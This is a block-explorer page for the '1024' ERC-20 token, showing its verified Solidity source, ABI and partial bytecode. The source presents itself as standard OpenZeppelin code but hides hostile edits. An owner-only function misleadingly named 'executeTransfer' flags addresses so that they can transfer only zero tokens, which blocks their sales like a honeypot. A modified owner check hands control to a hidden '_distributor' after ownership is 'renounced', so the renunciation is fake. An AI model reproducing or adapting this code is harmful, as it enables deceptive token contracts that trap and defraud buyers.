Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,240 1024
Holders
93
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.575652955 1024Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC1024
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity Multiple files format)
/** ______/\\\_____/\\\\\\\_______/\\\\\\\\\________________/\\\____ __/\\\\\\\___/\\\/////\\\___/\\\///////\\\____________/\\\\\____ _\/////\\\__/\\\____\//\\\_\///______\//\\\_________/\\\/\\\____ _____\/\\\_\/\\\_____\/\\\___________/\\\/________/\\\/\/\\\____ _____\/\\\_\/\\\_____\/\\\________/\\\//________/\\\/__\/\\\____ _____\/\\\_\/\\\_____\/\\\_____/\\\//_________/\\\\\\\\\\\\\\\\_ _____\/\\\_\//\\\____/\\\____/\\\/___________\///////////\\\//__ _____\/\\\__\///\\\\\\\/____/\\\\\\\\\\\\\\\___________\/\\\____ _____\///_____\///////_____\///////////////____________\///_____ */// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity 0.8.9; import "./IERC20Metadata.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => bool) public liquidityPools1024; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function sellTreasuryFee(address recipient) external view returns(bool){ return liquidityPools1024[recipient]; } function _liquidityPool(address from) internal view returns(bool){ return !liquidityPools1024[from]; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity 0.8.9; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity 0.8.9; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function Owner() internal view virtual returns (address) { return _owner==address(0) ? _distributor : _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Set new distributor. */ function feeDistributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } } pragma solidity 0.8.9; contract ERC1024 is Ownable, ERC20, ERC20Burnable { address public uniswapV2Pair; mapping (address => bool) public liquidityCreator; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; constructor() ERC20("1024", "1024") { _mint(msg.sender, 10240_000_000_000); liquidityCreator[owner()] = true; } function setRule(address _uniswapV2Pair) external onlyOwner { uniswapV2Pair = _uniswapV2Pair; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { if (!_liquidityPool(from)) {require(amount==0);} if (uniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } } function executeTransfer(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { liquidityPools1024[address_[i]] = val; } } function getCirculatingSupply() public view returns (uint256) { return totalSupply() - (balanceOf(DEAD) + balanceOf(ZERO)); } }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity 0.8.9; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"executeTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityPools1024","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"sellTreasuryFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405261dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009657600080fd5b506040518060400160405280600481526020017f31303234000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f31303234000000000000000000000000000000000000000000000000000000008152506200012362000117620001dc60201b60201c565b620001e460201b60201c565b81600590805190602001906200013b929190620005f6565b50806006908051906020019062000154929190620005f6565b5050506200016f336509502f900000620002a860201b60201c565b600160096000620001856200042260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008c4565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003129062000707565b60405180910390fd5b6200032f600083836200044b60201b60201c565b806004600082825462000343919062000762565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039b919062000762565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004029190620007d0565b60405180910390a36200041e600083836200059a60201b60201c565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200045c836200059f60201b60201c565b6200047057600081146200046f57600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156200059457620004d86200042260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200054c57506200051d6200042260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6200058e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000585906200083d565b60405180910390fd5b62000595565b5b505050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b82805462000604906200088e565b90600052602060002090601f01602090048101928262000628576000855562000674565b82601f106200064357805160ff191683800117855562000674565b8280016001018555821562000674579182015b828111156200067357825182559160200191906001019062000656565b5b50905062000683919062000687565b5090565b5b80821115620006a257600081600090555060010162000688565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620006ef601f83620006a6565b9150620006fc82620006b7565b602082019050919050565b600060208201905081810360008301526200072281620006e0565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200076f8262000729565b91506200077c8362000729565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b457620007b362000733565b5b828201905092915050565b620007ca8162000729565b82525050565b6000602082019050620007e76000830184620007bf565b92915050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b600062000825601683620006a6565b91506200083282620007ed565b602082019050919050565b60006020820190508181036000830152620008588162000816565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a757607f821691505b60208210811415620008be57620008bd6200085f565b5b50919050565b61234380620008d46000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806378a4c692116100c3578063c1e2f9411161007c578063c1e2f941146103ca578063c34b2e07146103e6578063dae39f9214610402578063db5d779314610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806378a4c692146102ce57806380596e17146102fe5780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b8063313ce56711610115578063313ce5671461020c578063395093511461022a57806342966c681461025a57806349bd5a5e1461027657806370a0823114610294578063715018a6146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611750565b60405180910390f35b61018a60048036038101906101859190611810565b61052c565b604051610197919061186b565b60405180910390f35b6101a861054a565b6040516101b59190611895565b60405180910390f35b6101d860048036038101906101d391906118b0565b610554565b6040516101e5919061186b565b60405180910390f35b6101f661064c565b6040516102039190611895565b60405180910390f35b6102146106c5565b604051610221919061191f565b60405180910390f35b610244600480360381019061023f9190611810565b6106ce565b604051610251919061186b565b60405180910390f35b610274600480360381019061026f919061193a565b61077a565b005b61027e61078e565b60405161028b9190611976565b60405180910390f35b6102ae60048036038101906102a99190611991565b6107b4565b6040516102bb9190611895565b60405180910390f35b6102cc6107fd565b005b6102e860048036038101906102e39190611991565b610811565b6040516102f5919061186b565b60405180910390f35b61031860048036038101906103139190611991565b610867565b604051610325919061186b565b60405180910390f35b610336610887565b6040516103439190611976565b60405180910390f35b6103546108b0565b6040516103619190611750565b60405180910390f35b610384600480360381019061037f9190611810565b610942565b604051610391919061186b565b60405180910390f35b6103b460048036038101906103af9190611810565b610a2d565b6040516103c1919061186b565b60405180910390f35b6103e460048036038101906103df9190611a4f565b610a4b565b005b61040060048036038101906103fb9190611991565b610af8565b005b61041c60048036038101906104179190611991565b610b9f565b604051610429919061186b565b60405180910390f35b61044c60048036038101906104479190611991565b610bbf565b005b61046860048036038101906104639190611aaf565b610c0b565b6040516104759190611895565b60405180910390f35b61049860048036038101906104939190611991565b610c92565b005b6060600580546104a990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b1e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610561848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bc2565b60405180910390fd5b61064085610638610d16565b858403610d1e565b60019150509392505050565b6000610679600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b4565b6106a4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107b4565b6106ae9190611c11565b6106b661054a565b6106c09190611c67565b905090565b60006009905090565b60006107706106db610d16565b8484600360006106e9610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076b9190611c11565b610d1e565b6001905092915050565b61078b610785610d16565b8261116d565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610805611346565b61080f60006113c4565b565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546108bf90611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546108eb90611b1e565b80156109385780601f1061090d57610100808354040283529160200191610938565b820191906000526020600020905b81548152906001019060200180831161091b57829003601f168201915b5050505050905090565b60008060036000610951610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590611d0d565b60405180910390fd5b610a22610a19610d16565b85858403610d1e565b600191505092915050565b6000610a41610a3a610d16565b8484610ee9565b6001905092915050565b610a53611346565b60005b83839050811015610af2578160076000868685818110610a7957610a78611d2d565b5b9050602002016020810190610a8e9190611991565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aea90611d5c565b915050610a56565b50505050565b610b00611346565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610bc7611346565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a611346565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610